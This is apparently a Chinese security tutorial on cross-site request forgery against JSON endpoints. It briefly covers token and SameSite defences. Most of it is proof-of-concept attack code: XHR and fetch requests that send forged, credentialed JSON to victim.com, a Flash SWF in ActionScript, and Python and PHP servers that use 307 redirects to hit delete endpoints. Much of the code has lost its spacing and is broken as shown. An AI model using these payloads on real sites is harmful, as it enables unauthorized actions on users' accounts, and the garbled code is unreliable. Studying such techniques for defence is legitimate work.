csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。
在post标准化格式(accounts=test&password=aaa)的表单页面中,在没有csrf防护的前提下,我们能很轻松地构造页面来实现攻击,但是在json格式下,csrf攻击怎么实现呢?
那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:
1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。
2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。
1.1 防御方案
关于防御方案,一般有如下几种:
1)用户操作验证,在提交数据时需要输入验证码
2)请求来源验证,验证请求来源的referer
3)表单token验证
现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。
这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。
例子:
第一步:用户访问某个表单页面。
第二步:服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。
第三步:在页面表单附带上Token参数。
第四步:用户提交请求后,服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致, 一致为合法请求,不是则非法请求。
4) 在前后端分离的前提下(例如使用ajax提交数据)设置不了token,可以给 cookie 新增 SameSite 属性,通过这个属性可以标记哪个 cookie 只作为同站 cookie (即第一方 cookie,不能作为第三方 cookie),既然不能作为第三方 cookie ,那么别的网站发起第三方请求时,第三方网站是收不到这个被标记关键 cookie,后面的鉴权处理就好办了。这一切都不需要做 token 生命周期的管理,也不用担心 Referer 会丢失或被中途被篡改。
SameStie 有两个值:Strict 和 Lax:
SameSite=Strict 严格模式,使用 SameSite=Strict 标记的 cookie 在任何情况下(包括异步请求和同步请求),都不能作为第三方 cookie。
SameSite=Lax 宽松模式,使用 SameSite=Lax 标记的 cookie 在异步请求 和 form 提交跳转的情况下,都不能作为第三方 cookie。
那么Strict和Lax的如何使用呢?
登录态关键的 cookie 都可以设置为 Strict。
后台根据用户的登录态动态新建一个可以用于校验登录态的 cookie ,设置为 Lax ,这样的话对外推广比如微博什么的,你希望用户在微博上打开你的链接还能保持登录态。
如果你的页面有可能被第三方网站去iframe或有接口需要做jsonp ,那么都不能设置 Strict 或 Lax。
一、不验证CONTENT-TYPE的情况
如果服务端没有校验Content-Type,或者没有严格校验Content-Type是否为application/json,我们可以使用XHR来实现csrf,poc如下:
<html> <head> <scriptstyle="text/java script"> functionsubmitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true); xhr.setRequestHeader("Accept", "application/json, text/plain, */*"); xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"); xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8"); xhr.withCredentials = true; xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]})); } </script> </head> <body> <formaction="#"> <inputtype="button"value="Submit request"onClick="submitRequest()"/> </form> </body> </html>
二、验证CONTENT-TYPE的情况
当然了,使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域。
fetch发起的请求代码:
<html><title>JSON CSRF POC</title><script> fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});</script></form></html>
我们可以利用Flash的跨域与307跳转来绕过http自定义头限制,307跟其他3XX HTTP状态码之间的区别就在于,HTTP 307可以确保重定向请求发送之后,请求方法和请求主体不会发生任何改变。HTTP 307会将POST body和HTTP头重定向到我们所指定的最终URL,并完成攻击。
2.1 创建flash文件
为了创建能够发送Web请求的csrf.swf文件,我们需要按照以下步骤操作:
安装FlexSDK将ActionScript编译为swf文件。Flex需要安装32位的JVM,这一步可以安装32位JDK来完成。
创建一个包含下列ActionScript代码的text文件,文件名为csrf.as。
获取托管Flash文件的主机系统(攻击者的服务器)IP地址/域名,并替换掉代码中的。
运行“mxmlc csrf.as”命令,将该文件编译为csrf.swf。
2.2 创建web服务器
1、使用python作为服务器(此方法不推荐):
先创建as文件,用上述步骤编译:
package{ import flash.display.Sprite; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestHeader; import flash.net.URLRequestMethod; public classcsrfextendsSprite { public functioncsrf() { super(); var member1:Object = null; var myJson:String = null; member1 = newObject(); member1 ={"id":102}; var myData:Object = member1; myJson = JSON.stringify(myData); myJson = JSON.stringify(myData); var url:String = "http://172.16.11.110:8000/"; var request:URLRequest = new URLRequest(url); request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json")); request.data = myJson; request.method = URLRequestMethod.POST; var urlLoader:URLLoader = new URLLoader(); try { urlLoader.load(request); return; } catch(e:Error) { trace(e); return; } } }}
借助GitHub上的json-flash-csrf-poc(https://github.com/appsecco/json-flash-csrf-poc),我们可以生成一个简单的python web服务器
pyserver.py:
import BaseHTTPServerimport timeimport sysHOST = '' PORT = 8000classRedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler): defdo_POST(s): # dir(s) if s.path == '/csrf.swf': s.send_response(200) s.send_header("Content-Type","application/x-shockwave-flash") s.end_headers() s.wfile.write(open("csrf.swf", "rb").read()) return s.send_response(307) s.send_header("Location", "https://victim-site/userdelete") s.end_headers() defdo_GET(s): print(s.path) s.do_POST() if __name__ == '__main__': server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST, PORT), RedirectHandler) print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT) try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)
2、使用apache的php页面作为服务端(首选方法):
我们也可以使用php来作为307跳转的服务端,参考GitHub上的swf_json_csrf(https://github.com/sp1d3r/swf_json_csrf)。
csrf.as:
package{ import flash.display.Sprite; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestHeader; import flash.net.URLRequestMethod; public classcsrfextendsSprite { public functioncsrf() { super(); var myJson:String = this.root.loaderInfo.parameters.jsonData; var url:String = this.root.loaderInfo.parameters.php_url; var endpoint:String = this.root.loaderInfo.parameters.endpoint; var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json"; var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint); request.requestHeaders.push(new URLRequestHeader("Content-Type",ct)); request.data = myJson; request.method = URLRequestMethod.POST; var urlLoader:URLLoader = new URLLoader(); try { urlLoader.load(request); return; } catch(e:Error) { trace(e); return; } } }}
307.php:
<?php$victim_url = $_GET['endpoint'];header("Location: $victim_url", true, 307)?>
最后使用的poc是:
http://172.16.11.102/csrf/test.swf?jsonData={%22id%22:49}&php_url=http://172.16.11.102/csrf/test.php&endpoint=http://victim.com/carrieradmin/admin/car/delete&ct=application/json
三、更进一步探索
当访问最后的POC,过程如下:
1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。
2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。
3、victim.com收到一条POST请求,并且Content-Type为application/json。
4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。因为307.php单独发出的post请求不会主动请求crossdomain.xml。
我们知道,服务器A的Flash如果要向B发起一条HTTP请求,会先请求服务器B的crossdomain.xml文件,判断是否能跨域,如果文件没有,或者xml文件设置不能跨域,则不能跨域。
既然可以设置Content-Type,那么能设置Referer吗。如果能,那验证Referer的CSRF岂不都能绕过?
其实Flash的Header存在一个黑名单,黑名单列表的头不允许设置,其中就有Referer。不能设置的头标如下:
Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version。
四、实际测试效果
这种flash+307跳转攻击方法只能在旧版浏览器适用,在2018年后更新版本的几乎所有浏览器,307跳转的时候并没有把Content-Type传过去而导致csrf攻击失败。所以还望寻找一种新的攻击方法,本文的json csrf攻击方法仅仅是作为一种记录,在某些情况下还是能用到的。